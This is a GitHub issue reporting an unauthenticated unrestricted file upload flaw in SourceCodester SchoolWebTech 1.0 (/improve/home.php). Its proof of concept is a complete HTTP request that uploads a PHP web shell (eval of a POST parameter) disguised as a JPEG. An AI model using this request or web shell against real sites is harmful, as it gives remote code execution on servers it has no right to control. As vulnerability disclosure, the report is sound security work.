Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SourceCodester SchoolWebTech 1.0 /improve/home.php Unrestricted Upload #30

Open
1097hzy opened this issue May 14, 2024 · 0 comments
Open

Comments

@1097hzy
Copy link

1097hzy commented May 14, 2024

SourceCodester SchoolWebTech 1.0 /improve/home.php Unrestricted Upload

NAME OF AFFECTED PRODUCT(S)

  • SchoolWebTech

Vendor Homepage

AFFECTED AND/OR FIXED VERSION(S)

submitter

  • zebra11

Vulnerable File

  • /improve/home.php

VERSION(S)

  • V1.0

Software Link

PROBLEM TYPE

Vulnerability Type

  • File upload

Root Cause

  • The input obtained through PHP in line 375 of the \ improve \ home.php file is used by PHP in line 375 to determine the location of the file to be written, which may allow attackers to modify or damage the content of the file, or create a brand new file.
  • 3

Impact

  • Attackers can exploit this vulnerability for unrestricted uploads, and remote attacks may result in RCE.

DESCRIPTION

  • zebra11 found that the file upload operation was triggered in /improve/home.php, and the _FAILE variable was used to receive the payload. After receiving the attack vector from a remote attacker, it will result in unrestricted uploads, and remote attacks may lead to RCE.

Vulnerability details and POC

Payload

  • This attack payload can be used without the need for login.
  • 2
POST /improve/home.php?action=upload HTTP/1.1
Host: www.newschool.com:8126
Content-Length: 401
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://www.newschool.com:8126
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPfsdD8ejAA2Ivepk
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://www.newschool.com:8126/improve/home.php?action=upload
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryPfsdD8ejAA2Ivepk
Content-Disposition: form-data; name="owner"


------WebKitFormBoundaryPfsdD8ejAA2Ivepk
Content-Disposition: form-data; name="image"; filename="rce.php"
Content-Type: image/jpeg

<?php eval($_POST[cc123]) ?>
------WebKitFormBoundaryPfsdD8ejAA2Ivepk
Content-Disposition: form-data; name="submit"

Upload
------WebKitFormBoundaryPfsdD8ejAA2Ivepk--
  • Successfully connected using the tool and executed the ipconfig command
  • 1
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant